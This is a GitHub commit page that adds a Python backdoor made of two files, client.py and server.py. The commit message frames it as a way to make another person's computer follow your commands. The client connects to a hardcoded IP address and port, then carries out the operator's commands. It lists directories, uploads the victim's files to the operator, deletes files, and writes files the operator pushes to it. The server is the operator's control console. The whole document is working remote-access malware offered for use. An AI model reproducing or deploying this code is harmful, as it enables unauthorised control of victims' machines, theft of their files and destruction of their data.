Skip to content

Commit c7e012f

Browse files
Backdoor.py
use can make other's computer work according to your commands
1 parent ca97e25 commit c7e012f

2 files changed

Lines changed: 124 additions & 0 deletions

File tree

backdoor/client.py

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
# command list
2+
# view_cmd
3+
# custom_dir
4+
5+
import os
6+
import socket
7+
8+
s = socket.socket()
9+
port = 5555
10+
host = '117.215.148.133'
11+
12+
s.connect((host, port))
13+
14+
# command control
15+
while 1:
16+
command = s.recv(1024)
17+
command = command.decode()
18+
print("")
19+
if command == "view_cwd":
20+
files = os.getcwd()
21+
files = str(files)
22+
s.send(files.encode())
23+
elif command == 'custom_dir':
24+
user_input = s.recv(5000)
25+
user_input = user_input.decode()
26+
files = os.listdir(user_input)
27+
files = str(files)
28+
s.send(files.encode())
29+
elif command == 'download_file':
30+
filepath = s.recv(5000)
31+
filepath = filepath.decode()
32+
files = open(filepath, "rb")
33+
data = files.read()
34+
s.send(data)
35+
files = str(files)
36+
s.send(files.encode())
37+
elif command == 'remove_file':
38+
fileaddr = s.recv(6000)
39+
fileaddr = fileaddr.decode()
40+
os.remove(fileaddr)
41+
elif command == 'send_file':
42+
filename = s.recv(6000)
43+
new_file = open(filename, "wb")
44+
data = s.recv(6000)
45+
new_file.write(data)
46+
new_file.close()
47+
48+
49+
50+
51+
52+
53+
54+
55+
56+
57+
58+
59+
60+
61+
62+
else:
63+
print("-----------FAILED-----------")

backdoor/server.py

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
import os
2+
import socket
3+
4+
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
5+
host = ''
6+
port = 5555
7+
s.bind((host, port))
8+
print("")
9+
print("IT's Listning.....", host)
10+
print("Waiting for Connections............. ")
11+
s.listen(1)
12+
conn, addr = s.accept()
13+
print("")
14+
print(addr, " is Connected ")
15+
# Connection completed
16+
# Command control
17+
while 1:
18+
command = input(str("Command >> "))
19+
if command == "view_cwd":
20+
conn.send(command.encode())
21+
print("")
22+
files = conn.recv(5000)
23+
files = files.decode()
24+
print("Command Output : ", files)
25+
elif command == 'custom_dir':
26+
conn.send(command.encode())
27+
print("")
28+
user_input = input(str("custom dir : "))
29+
conn.send(user_input.encode())
30+
31+
files = conn.recv(5000)
32+
files = files.decode()
33+
print("Command Output : ", files)
34+
35+
elif command == 'download_file':
36+
conn.send(command.encode())
37+
print("")
38+
filepath = input(str("File Path : "))
39+
conn.send(filepath.encode())
40+
files = conn.recv(100000)
41+
filename = input(str("Enter file path where to save: "))
42+
new_file = open(filename, "wb")
43+
new_file.write(files)
44+
print(filename, " is downloaded")
45+
elif command == 'remove_file':
46+
conn.send(command.encode())
47+
print("")
48+
fileaddr = input(str("Enter file path where to delete: "))
49+
conn.send(fileaddr.encode())
50+
print("Deleted")
51+
elif command == 'send_file':
52+
conn.send(command.encode())
53+
print("")
54+
file = input(str("Enter file path where is: "))
55+
filename = input(str("Enter file name: "))
56+
data = open(file, "rb")
57+
file_data = data.read(7000)
58+
conn.send(filename.encode())
59+
print("Send File")
60+
else:
61+
print("-----------FAILED-----------")

0 commit comments

Comments
 (0)